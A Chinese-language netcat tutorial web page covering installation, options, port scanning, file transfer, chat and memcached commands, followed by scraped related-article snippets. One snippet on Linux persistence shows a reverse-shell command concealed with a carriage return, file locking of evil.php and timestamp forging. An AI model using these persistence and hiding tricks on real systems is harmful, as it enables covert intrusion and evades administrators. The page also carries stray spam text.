<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    網絡工具中的瑞士軍刀nc命令

    VSole2022-01-25 06:20:26
    NetCat,在網絡工具中有“瑞士軍刀”美譽,其有Windows和Linux的版本。因為它短小精悍(1.84版本也不過25k,舊版本或縮減版甚至更小)、功能實用,被設計為一個簡單、可靠的網絡工具,可通過TCP或UDP協議傳輸讀寫數據。同時,它還是一個網絡應用Debug分析器,因為它可以根據需要創建各種不同類型的網絡連接。
    netcat(簡寫是 nc) 是 linux 上非常有用的網絡工具,它能通過 TCP 和 UDP 在網絡中讀寫數據。通過配合使用其他工具和重定向,可以在腳本中以多種方式使用它。netcat 所做的就是在兩臺電腦之間建立鏈接并返回兩個數據流,在這之后所能做的事就看你的想像力了。

    安裝nc

    yum install -y nc
    

    用法簡介

    nc [-hlnruz][-g < 網關…>][-G < 指向器數目 >][-i < 延遲秒數 >][-o < 輸出文件 >][-p < 通信端口 >][-s < 來源位址 >][-v…][-w < 超時秒數 >][主機名稱][通信端口…]

    參數說明

    • -g <網關> 設置路由器躍程通信網關,最丟哦可設置 8 個。
    • -G <指向器數目> 設置來源路由指向器,其數值為 4 的倍數。
    • -h 在線幫助。
    • -i <延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口。
    • -l 使用監聽模式,管控傳入的資料。
    • -n 直接使用 IP 地址,而不通過域名服務器。
    • -o <輸出文件> 指定文件名稱,把往來傳輸的數據以 16 進制字碼傾倒成該文件保存。
    • -p <通信端口> 設置本地主機使用的通信端口。
    • -r 亂數指定本地與遠端主機的通信端口。
    • -s <來源位址> 設置本地主機送出數據包的 IP 地址。
    • -u 使用 UDP 傳輸協議。
    • -v 顯示指令執行過程。
    • -w <超時秒數> 設置等待連線的時間。
    • -z 使用 0 輸入 / 輸出模式,只在掃描通信端口時使用。

    端口掃描

    nc -v -w 2 192.168.2.34 -z 21-24
    //輸出
    nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
    Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
    nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
    nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refused
    

    文件拷貝

    在192.168.2.34上
    nc -l 1234 > test.txt
    
    在192.168.2.33上
    nc 192.168.2.34 < test.txt
    

    簡單聊天工具

    在192.168.2.34上
    nc -l 1234
    
    在192.168.2.33上
    nc 192.168.2.34 1234
    
    這樣,雙方就可以相互交流了。使用 ctrl+C(或 D)退出。

    用 nc 命令操作 memcached

    1. 存儲數據:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
    2. 獲取數據:printf “get keyrn” |nc 192.168.2.34 11211
    3. 刪除數據:printf “delete keyrn” |nc 192.168.2.34 11211
    4. 查看狀態:printf “statsrn” |nc 192.168.2.34 11211
    5. 模擬 top 命令查看狀態:watch “echo stats” |nc 192.168.2.34 11211
    6. 清空緩存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了緩存就沒了)

    連接 web 服務器

    //建立從本地1234端口到host.example.com的80端口連接,5秒超時
    nc -p 1234 -w 5 host.example.com 80
    

    udp 連接服務器

    nc -u host.example.com 53
    

    連接服務器并執行

    echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
    

    指定 TCP 協議版本

    netcat 的 -4 和 -6 參數用來指定 IP 地址類型,分別是 IPv4 和 IPv6:
    //server
    nc -4 -l 2389
    //client
    nc -4 localhost 2389
    

    禁止從標準輸入中讀取數據

    該功能使用 -d 參數,請看下面例子:
    //server side 
    $ nc -l 2389
    //client side
    nc -d localhost 2389
    

    強制 Netcat 服務器端保持啟動狀態

    通常情況下如果連接到服務端的客戶端連接斷開, 服務端進程也會退出, 如果想讓服務端保持存活可以加一個-k的參數
    //server side
    $ nc -k -l 2389
    //client side
    nc localhost 2389
    

    nc聊天

    server1:
    [root@server1 ~]# nc -l 1234 
    hello!
    hi!
    
    server2:
    [root@server2 ~]# nc  192.168.200.27 1234 
    hello!
    hi!
    
    printf命令模式
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    雖然平時大部分工作都是和Java相關的開發, 但是每天都會接觸Linux系統, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行環境中. 自己記憶力不好, 很多有用的Linux命令不能很好的記憶, 現在逐漸總結一下, 以便后續查看。
    NetCat,在網絡工具中有“瑞士軍刀”美譽,其有Windows和Linux的版本。因為它短小精悍、功能實用,被設計為一個簡單、可靠的網絡工具,可通過TCP或UDP協議傳輸讀寫數據。
    Linux比較麻煩的就是很多東西都要用命令來控制,當然,這也是很多人喜歡它的原因,比較短小但卻功能強大。
    QEMU逃逸系列
    2022-12-01 09:19:27
    qemu用于模擬設備運行,而qemu逃逸漏洞多發于模擬pci設備中,漏洞形成一般是修改qemu-system代碼,所以漏洞存在于qemu-system文件內。而逃逸就是指利用漏洞從qemu-system模擬的這個小系統逃到主機內,從而在linux主機內達到命令執行的目的。
    目前絕大部分app都會頻繁的使用syscall去獲取設備指紋和做一些反調試,使用常規方式過反調試已經非常困難了,使用內存搜索svc指令已經不能滿足需求了,開始學習了一下通過ptrace/ptrace配合seccomp來解決svc反調試難定位難繞過等問題。seccompLinux 2.6.12中的導入了第一個版本的seccomp,通過向/proc/PID/seccomp接口中寫入“1”來啟動通過濾器只支持幾個函數。BPF程序由一組BPF指令組成,可以在系統調用執行之前對其進行檢查,以決定是否允許執行該系統調用。
    很久很久以前,有一道送分題沒做出來,后來看writeup,只要zsteg就行了。
    Linux 維權實用技巧
    2023-04-07 09:38:38
    小技巧\r特性原理:shell 在解析 \r 時會忽略掉 \r 前的信息。cat其實默認使用是支持一些比如 \r 回車符 \n 換行符 \f 換頁符、也就是這些符號導致的能夠隱藏命令,使用cat -A可以看到真正的內容比如舉例隱藏反彈shell#!mkdir /tmp/222;echo "bash -i >& /dev/tcp/ip/443 0>&1 &" > /tmp/222/1.sh;bash /tmp/222/1.sh;echo 'Hello world!cat如果不加-A參數,或者不實用vim或者文本方式打開正常運行效果文件鎖定chattr +i evil.php??修改文件時間其中-m參數是不創建一個文件,需要對已存在的文件進行修改時間,若不加-m參數會創建一個文件touch -acmr 10-help-text 20-help-text
    雖然平時大部分工作都是和網絡相關, 但會接觸Linux系統, 尤其是使用了Mac之后, 每天都是工作在黑色背景的命令行環境中. 自己記憶力不好, 很多有用的Linux命令不能很好的記憶, 現在逐漸總結一下, 以便后續查看。基本操作Linux 關機,重啟#?查看當前用戶環境變量。查看有幾顆cpu,每顆分別是幾核。
    函數的注釋已經非常清晰,但是需要讀者有 socket 緩沖區的概念。socket 緩沖區當應用層代碼通過 socket 進行讀與寫的操作時,實質上經過了一層 socket 緩沖區,它分為發送緩沖區和接受緩沖區。操作系統會將緩沖區里未處理完的數據都完成處理,再關閉掉連接。當 sec > 0 時,操作系統會以與默認關閉方式運行。服務端代碼根據邏輯分為四個部分第一部分:端口監聽。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类